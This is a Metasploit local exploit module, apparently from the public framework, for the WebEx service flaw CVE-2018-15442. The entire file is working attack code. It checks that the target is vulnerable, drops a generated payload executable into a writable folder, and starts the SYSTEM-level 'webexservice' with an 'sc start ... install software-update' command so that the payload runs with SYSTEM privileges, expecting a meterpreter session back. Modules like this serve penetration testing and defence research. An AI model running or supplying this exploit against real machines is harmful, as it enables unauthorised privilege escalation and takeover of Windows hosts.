##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Services
  include Msf::Post::Windows::Accounts

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WebEx Local Service Permissions Exploit',
        'Description' => %q{
          This module exploits a flaw in the 'webexservice' Windows service, which runs as SYSTEM,
          can be used to run arbitrary commands locally, and can be started by limited users in
          default installations.
        },
        'References' => [
          ['URL', 'https://webexec.org'],
          ['CVE', '2018-15442']
        ],
        'DisclosureDate' => '2018-10-09',
        'License' => MSF_LICENSE,
        'Author' => [
          'Jeff McJunkin <jeff.mcjunkin[at]gmail.com>'
        ],
        'Platform' => [ 'win'],
        'Targets' => [
          [ 'Automatic', {} ],
          [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
        ],
        'SessionTypes' => [ "meterpreter" ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
          'WfsDelay' => 5,
          'ReverseConnectRetries' => 255
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([
      OptString.new("DIR", [ false, "Specify a directory to plant the EXE.", "%SystemRoot%\\Temp"])
    ])
    @service_name = 'webexservice'
  end

  def validate_arch
    return target unless target.name == 'Automatic'

    case sysinfo['Architecture']
    when 'x86'
      fail_with(Failure::BadConfig, 'Invalid payload architecture') if payload_instance.arch.first == 'x64'
      vprint_status('Detected x86 system')
      return targets[1]
    when 'x64'
      vprint_status('Detected x64 system')
      return targets[2]
    end
  end

  def check
    unless service_exists?(@service_name)
      return Exploit::CheckCode::Safe('Target is not vulnerable')
    end

    srv_info = service_info(@service_name)

    vprint_status(srv_info.to_s)

    case START_TYPE[srv_info[:starttype]]
    when 'Disabled'
      vprint_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...")
      return Exploit::CheckCode::Safe('Target is not vulnerable')
    when 'Manual'
      vprint_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...")
      return Exploit::CheckCode::Safe('Target is not vulnerable')
    when 'Auto'
      vprint_good("Service is set to Automatically start...")
    end

    if check_search_path
      return Exploit::CheckCode::Safe('Target is not vulnerable')
    end

    return Exploit::CheckCode::Appears('Target appears vulnerable')
  end

  def check_write_access(path)
    perm = check_dir_perms(path, @token)
    if perm and perm.include?('W')
      print_good("Write permissions in #{path} - #{perm}")
      return true
    elsif perm
      vprint_status ("Permissions for #{path} - #{perm}")
    else
      vprint_status ("No permissions for #{path}")
    end

    return false
  end

  def exploit
    begin
      @token = get_imperstoken
    rescue Rex::Post::Meterpreter::RequestError
      vprint_error("Error while using get_imperstoken: #{e}")
    end

    fail_with(Failure::Unknown, "Unable to retrieve token.") unless @token

    if is_system?
      fail_with(Failure::Unknown, "Current user is already SYSTEM, aborting.")
    end

    print_status("Checking service exists...")
    if !service_exists?(@service_name)
      fail_with(Failure::NoTarget, "The service doesn't exist.")
    end

    if is_uac_enabled?
      print_warning("UAC is enabled, may get false negatives on writable folders.")
    end

    # Use manually selected Dir
    file_path = datastore['DIR']

    @exe_file_name = Rex::Text.rand_text_alphanumeric(8)
    @exe_file_path = "#{file_path}\\#{@exe_file_name}.exe"

    service_information = service_info(@service_name)

    # Check architecture
    valid_arch = validate_arch
    exe = generate_payload_exe(:arch => valid_arch.arch)

    #
    # Drop the malicious executable into the path
    #
    print_status("Writing #{exe.length.to_s} bytes to #{@exe_file_path}...")
    begin
      write_file(@exe_file_path, exe)
      register_file_for_cleanup(@exe_file_path)
    rescue Rex::Post::Meterpreter::RequestError => e
      # Can't write the file, can't go on
      fail_with(Failure::Unknown, e.message)
    end

    #
    # Run the service
    #
    print_status("Launching service...")
    res = cmd_exec("cmd.exe",
                   "/c sc start webexservice install software-update 1 #{@exe_file_path}")

    if service_restart(@service_name)
      print_status("Service started...")
    else
      service_information = service_info(@service_name)
      if service_information[:starttype] == START_TYPE_AUTO
        if job_id
          print_status("Unable to start service, handler running waiting for a reboot...")
          while (true)
            break if session_created?

            select(nil, nil, nil, 1)
          end
        else
          fail_with(Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...")
        end
      else
        fail_with(Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")
      end
    end
  end
end
